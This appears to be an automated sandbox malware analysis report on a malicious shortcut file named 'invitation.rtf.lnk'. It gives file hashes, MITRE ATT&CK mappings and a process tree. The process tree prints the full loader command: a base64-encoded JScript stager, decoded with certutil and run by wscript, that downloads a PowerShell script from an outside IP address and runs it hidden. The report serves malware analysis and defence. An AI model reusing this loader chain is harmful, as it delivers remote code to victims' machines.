4cb9291e6e32ca24e23e63da3fd994adc8199ec504778a699392dd362dd23a84

General

Target
invitation.rtf.lnk
Size 147KB
Sample260720-ph47ysb19s
SHA256 4cb9291e6e32ca24e23e63da3fd994adc8199ec504778a699392dd362dd23a84
MD5 21dd076ea04165cb501921d2b747b83d
SHA1 8457c244f93d874f01983ab5439d5cf43798d1fb
SHA512 dc91d1e5e79dd8f88e8a3bb22de84c98dcab2541a2533774d8657b30d3d06fb9a87cd727f7454c400c8806a0af816f1707b84c1a5cbfe6f69fc0123a6505a8a1
SSDEEP 24:8d/TWq2aYKkRyaWInZU8lvxwz1WOHmnTZzs+m9liHKMhSn:8lT6ganF8HHmtu9liq
TLSH
T1EDE38A3079E81118E6F3FFB17CE876D69EABF6B36931525D9842030A8811E40ED55B3A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
9	5052	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2752	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation	wscript.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
2368	cmd.exe
4080	certutil.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4632	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2752	powershell.exe
2752	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2752	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4632 wrote to memory of 2368	4632	cmd.exe	89
PID 2368 wrote to memory of 4080	2368	cmd.exe	90
PID 2368 wrote to memory of 5052	2368	cmd.exe	91
PID 5052 wrote to memory of 2752	5052	wscript.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\invitation.rtf.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "cd /d C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzg5LjEwNi44My40MC9JbnZpdGF0aW9uX0F1Zy9hcHBvaW50bWVudGluZGVwZW5kZW5jZS5wczEiLGZhbHNlKTtoLnNldFJlcXVlc3RIZWFkZXIoIlVzZXItQWdlbnQiLCJVQSBXaW5kb3dzUG93ZXJTaGVsbCIpO2guc2VuZCgpO25ldyBBY3RpdmVYT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpLlNoZWxsRXhlY3V0ZSgicG93ZXJzaGVsbC5leGUiLCItTm9QIC1XIEhpZGRlbiAtQyAiK2gucmVzcG9uc2VUZXh0LCIiLCJvcGVuIiwwKTs= > hwCO.b64 && certutil -decode hwCO.b64 vc8uL.js >nul && wscript //b vc8uL.js && del hwCO.b64 vc8uL.js"
  2⤵
  - Deobfuscate/Decode Files or Information
  - Suspicious use of WriteProcessMemory
  PID:2368
- - C:\Windows\system32\certutil.exe
    certutil -decode hwCO.b64 vc8uL.js
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:4080
- - C:\Windows\system32\wscript.exe
    wscript //b vc8uL.js
    3⤵
    - Badlisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:5052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -C <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access this resource.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at 89.106.83.40 Port 80</address> </body></html>
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2752

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

3

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

1

T1140

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_vn5n3foq.ub0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vn5n3foq.ub0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

hwCO.b64

Path C:\Users\Admin\AppData\Local\Temp\hwCO.b64
Size 432B
SHA256 ed01c30c0d548efd8da876d235abfe7f2e977aa90e5cec3e07c6b0d2e28f4e37
MD5 ed57bebc98e9d72b76f5300ee850aafb
SHA1 7d5501102a0ef8e6435d96c1a24e53664ddbacb8
SHA512 0d9b378667924a2f85c59dff5b16f658708a55e4d5c0fac5497619916dd8ce202d4a047ce0488c69b48c3815b5bebe78f0be77df9ab13fb5e6bc08025c3a5501
TLSH
T18DE023C8E04F136391342705AFF1774AF15C505414022BB56F40AC8D3A1EA94D2030DC
MD5 SHA1 SHA512 TLSH

Submit Download

vc8uL.js

Path C:\Users\Admin\AppData\Local\Temp\vc8uL.js
Size 320B
SHA256 1f9ad0c532b4a80e6a680ba1cf301a6507e4b73c3d5ce63fcef09b1e3f1dd7ca
MD5 55a9014f4e223a8904f564abb238da77
SHA1 5e1676cc892642bda10c127df0b5df612e27b5b3
SHA512 2b17ef7f5a2b3d3d154c521171368381ee96a72b59feb89b2430061d74de80b33542ef2a74743f57bb9c2f4b08d6f49988e637f6f46baa4e5bc4016e6ed87cf8
TLSH
T1EFE07DB541B5A0ED50C79FECA4A4E75442DB44B47005ECEBB344CD9424113456A5F28E
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2752-11-0x00000226D6D50000-0x00000226D6D72000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads